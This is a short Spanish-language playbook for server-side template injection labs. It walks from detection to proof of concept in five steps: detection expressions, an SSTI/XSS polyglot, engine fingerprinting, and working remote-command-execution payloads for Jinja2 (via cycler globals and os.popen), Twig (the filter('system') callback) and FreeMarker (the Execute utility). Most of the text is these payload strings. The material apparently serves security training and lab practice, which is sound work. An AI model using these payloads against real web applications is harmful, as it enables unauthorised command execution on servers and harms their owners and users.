Labs de SSTI

Playbook práctico — del recon a la prueba de concepto.

1. 1

   Detectar la inyección

   Mete una expresión matemática en sintaxis de varios engines. Si la respuesta devuelve el resultado evaluado (no el literal), hay SSTI.

   {{7*7}} → 49   ·   ${7*7} → 49   ·   #{7*7}   ·   <%= 7*7 %>

2. 2

   Distinguir SSTI de XSS

   Usa un polyglot que rompa en cualquier contexto y observa qué se evalúa server-side frente a lo que solo se refleja.

   ${{<%[%'"}}%\

3. 3

   Identificar el engine

   Cada motor responde distinto a payloads específicos. Esto define la cadena de escalada a RCE.

   {{7*'7'}} → 7777777 (Jinja2) | 49 (Twig)

4. 4

   Escalar a RCE en Jinja2

   Recorre la jerarquía de objetos Python hasta os para ejecutar comandos. El gadget cycler/lipsum es de los más fiables.

   {{cycler.__init__.__globals__.os.popen('id').read()}}

5. 5

   Escalar a RCE en otros engines

   En Twig usa el callback de filtros; en FreeMarker la utilidad Execute. Adapta el payload al motor detectado.

   Twig: {{['id']|filter('system')}}   ·   FreeMarker: ${"freemarker.template.utility.Execute"?new()("id")}